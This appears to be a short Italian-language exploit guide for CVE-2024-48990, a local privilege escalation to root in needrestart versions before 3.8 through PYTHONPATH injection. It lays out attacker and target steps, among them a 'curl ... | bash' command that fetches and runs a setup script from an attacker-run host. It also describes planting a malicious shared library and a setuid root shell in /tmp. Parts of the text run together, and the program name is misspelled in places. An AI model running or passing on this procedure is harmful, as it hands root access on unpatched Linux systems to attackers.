
Exploit completo per la shell root setuid di needsrestart
Escalation locale dei privilegi in needrestart < 3.8 tramite iniezione di PYTHONPATH.
PYTHONPATH=/tmp/.m da /proc/[pid]/environPYTHONPATH dannoso/tmp/.m/importlib/__init__.so (la nostra libreria dannosa)/tmp/rootbash/tmp/rootbash -p per una shell rootPunto chiave: needrestart si fida delle variabili d'ambiente provenienti da processi non privilegiati e le usa quando esegue gli interpreti come root.
Attaccante:
./compile.sh
python3 -m http.server 8000
Bersaglio:
curl -sf http://10.10.14.109:8000/setup_exploit.sh | bash -s 10.10.14.109 8000
cd /tmp/.m && PYTHONPATH=/tmp/.m python3 e.py
Il processo e.py dovrebbe restare in attesa e avviare una root una volta eseguito quanto segue da un secondo terminale:
sudo needsrestard
il primo terminale avvierà una shell root
Qualys Threat Research Unit - CVE-2024-48990